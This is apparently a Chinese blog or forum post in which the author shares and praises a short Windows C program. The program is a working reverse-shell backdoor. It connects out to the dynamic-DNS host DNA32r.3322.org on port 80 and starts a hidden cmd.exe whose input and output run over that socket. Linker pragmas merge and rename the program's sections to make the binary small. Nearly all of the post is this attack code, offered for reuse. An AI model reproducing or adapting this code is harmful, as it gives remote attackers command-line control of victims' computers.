这个代码个人感觉写的太好了,拿出来分享吧,只是是我目前认为最好的了,自己写的就不给了,太差了。这个代码比这个大师http://blog.csdn.net/yincheng01/article/details/7214052写的短多了(即使他的去掉那错误判断代码),所以拿出来分享下········
#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint") #pragma comment(linker,"/INCREMENTAL:NO /IGNORE:4078") #pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=Anskya /SECTION:Anskya,EWR") #pragma comment(lib, "ws2_32.lib") #include <winsock2.h> #include <windows.h> #define MasterAddr "DNA32r.3322.org" //连接地址 #define MasterPort 80 //连接端口 void Entrypoint() { WSADATA WSADa; LPHOSTENT HostEnts; sockaddr_in SockAddrIn; SOCKET FSocket; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; char szCMDPath[255]; //------------------- ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo, sizeof(STARTUPINFO)); ZeroMemory(&WSADa, sizeof(WSADATA)); //----初始化数据---- GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath)); //获取cmd路径 WSAStartup(0x0202,&WSADa); //加载ws2_32.dll HostEnts=gethostbyname(MasterAddr); SockAddrIn.sin_family = AF_INET; SockAddrIn.sin_addr = *((LPIN_ADDR)*HostEnts->h_addr_list); SockAddrIn.sin_port = htons(MasterPort); FSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); //获取远程地址和端口~绑定协议 connect(FSocket, (LPSOCKADDR)&SockAddrIn,sizeof(SockAddrIn)); //开始连接远程服务器 StartupInfo.cb = sizeof(STARTUPINFO); StartupInfo.wShowWindow = SW_HIDE; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; StartupInfo.hStdInput = (HANDLE)FSocket; StartupInfo.hStdOutput = (HANDLE)FSocket; StartupInfo.hStdError = (HANDLE)FSocket; //创建匿名管道 createProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo); WaitForSingleObject(ProcessInfo.hProcess, INFINITE); CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); //关闭进程句柄 closesocket(FSocket); WSACleanup(); //关闭连接卸载ws2_32.dll }